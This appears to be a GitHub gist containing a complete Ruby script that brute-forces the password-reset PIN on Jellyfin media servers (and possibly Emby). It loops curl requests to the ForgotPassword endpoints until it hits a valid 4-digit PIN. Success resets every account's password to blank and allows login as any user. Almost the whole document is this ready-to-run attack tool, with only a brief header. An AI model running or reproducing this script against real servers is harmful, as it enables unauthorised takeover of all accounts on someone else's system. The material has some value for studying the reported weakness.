Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created August 21, 2019 16:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/5d9489c7f98a7d796a6cdd94349b412e to your computer and use it in GitHub Desktop.
Save bcoles/5d9489c7f98a7d796a6cdd94349b412e to your computer and use it in GitHub Desktop.
Jellyfin Password Reset PIN Brute Force
#!/usr/bin/env ruby
################################################################################
# Jellyfin Password Reset PIN Brute Force #
# #
# Usually completes within a few minutes. Tested on Jellyfin version 10.2.2. #
# This will likely also work on Emby Media Server, but untested. #
# #
# Note: cURL must be installed and in $PATH #
# #
# Note: Upon successful expoitation, the password will be reset for all users, #
# permitting login with a blank password. #
# #
# Note: PIN brute force is unlikely to work with integrated authentication, #
# such as LDAP. #
################################################################################
# ~ bcoles #
################################################################################
puts 'Jellyfin Password Reset PIN Brute Force'
puts '---'
# usage
if ARGV.length < 1
puts "Usage: ./brute-jellyfin.rb <url>"
puts "Example: ./brute-jellyfin.rb http://127.0.0.1:8096/"
exit 1
end
@host = ARGV[0]
# any username will do. does not have to be valid.
# see: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5401.php
@username = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
def reset_pin
`curl -isk "#{@host}/emby/Users/ForgotPassword" -X POST --data "EnteredUsername=#{@username}"`
end
def try_pin(pin)
print "\r[*] Trying PIN #{pin} ..."
`curl -isk "#{@host}/emby/Users/ForgotPassword/Pin" -X POST --data "Pin=#{pin}"`
end
def check
res = `curl -isk "#{@host}/web/index.html"`
unless res =~ /Jellyfin/
puts '[-] URL is not a Jellyfin server'
exit 1
end
end
def brute
puts "[*] Checking #{@host} for Jellyfin ..."
check
puts "[*] Starting PIN brute force ..."
starting = Process.clock_gettime(Process::CLOCK_MONOTONIC)
while true
reset_pin
pin = rand(0..10_000).to_s.rjust(4, '0')
res = try_pin pin
next if res.include?('"Success":false')
unless res.include?('"Success":true')
puts '[-] Unexpected reply'
exit 1
end
ending = Process.clock_gettime(Process::CLOCK_MONOTONIC)
elapsed = Time.at(ending - starting).utc.strftime "%H:%M:%S"
puts
puts "[+] Success! Brute force completed in #{elapsed}"
puts res
puts
puts "You may now login as any of the above users using a blank password"
break
end
end
brute
@bcoles
Copy link
Author

bcoles commented Aug 21, 2019

jellyfin-brute

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment